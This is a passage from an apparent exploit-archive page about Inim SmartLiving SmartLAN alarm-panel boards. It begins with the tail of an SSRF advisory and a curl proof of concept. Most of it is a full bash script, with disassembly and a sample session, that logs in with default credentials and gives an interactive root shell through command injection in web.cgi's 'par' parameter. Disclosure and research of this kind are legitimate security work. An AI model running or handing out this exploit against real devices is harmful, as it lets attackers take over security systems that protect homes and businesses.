SmartLiving SmartLAN within the GetImage functionality. The application parses user
supplied data in the GET parameter 'host' to construct an image request to the service
through onvif.cgi. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make an HTTP request to
an arbitrary destination host. This can be used by an external attacker for example
to bypass firewalls and initiate a service and network enumeration on the internal
network through the affected application.

Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2


Vulnerability discovered by Sipke Mellema
@zeroscience


Advisory ID: ZSL-2019-5545
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php


06.09.2019

--


PoC:

curl http://192.168.1.17/cgi-bin/onvif.cgi -X POST -d"mod=GetImage&host=http://127.0.0.1:23&par=2"

Source

Inim Electronics SmartLiving SmartLAN/G/SI versions 6.x and below suffer from a remote root command execution vulnerability.

MD5 | fa5b04b87f4f1fdd3b909cfc78a8b51d

#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: <=6.x
# Affected models: SmartLiving 505
# SmartLiving 515
# SmartLiving 1050, SmartLiving 1050/G3
# SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c ldr r1, str.testemail ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870 bl sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874 cmp r0, 0
#| 0x0000c878 bne 0xc8b8
#| 0x0000c87c cmp sl, 0
#| 0x0000c880 beq 0xd148
#| 0x0000c884 bl sym.set_no_cache
#| 0x0000c888 add r5, sp, 0x20
#| 0x0000c88c mov r0, r4
#| 0x0000c890 ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894 bl sym.imp.qcgires_setcontenttype
#| 0x0000c898 mov r0, r5 ; char *s
#| 0x0000c89c mov r1, 0xc8 ; 200 ; size_t
#| 0x0000c8a0 ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo "Hello!" | mailx -s "Email test" %s" ; con
#| 0x0000c8a4 mov r3, r8 ; ...
#| 0x0000c8a8 bl sym.imp.snprintf ; int snprintf(char *s,
#| 0x0000c8ac mov r0, r5 ; const char * string
#| 0x0000c8b0 bl sym.imp.system ; int system(const char *string)
#| 0x0000c8b4 b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root 0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
#
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
#
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
#
#


# SmartLiving 6.07 10100
#

SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/#
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
# Boa/0.94.14rc21
# BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php
#
#
# 06.09.2019
#

URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&par=;"
CHECK=${URL:4:1}

if [ "$#" -ne 1 ]; then
echo -en "e[34m"
echo "==============================================="
echo " SmartLiving SmartLAN 6.x Remote Root Exploit"
echo -e "ttZSL-2019-5544"
echo "==============================================="
echo -en "e[00m"
echo -e "nUsage: $0 http(s)://ip:portn"
exit 0
fi

echo -ne "nChecking target: $URLn"

if [ "$CHECK" == "s" ]; then
TEST=$(curl -sIk $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTPS with error!"
exit 0
fi
if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@ssl>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
else
TEST=$(curl -sI $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTP with error!"
exit 0
fi
if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@http>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
fi

Source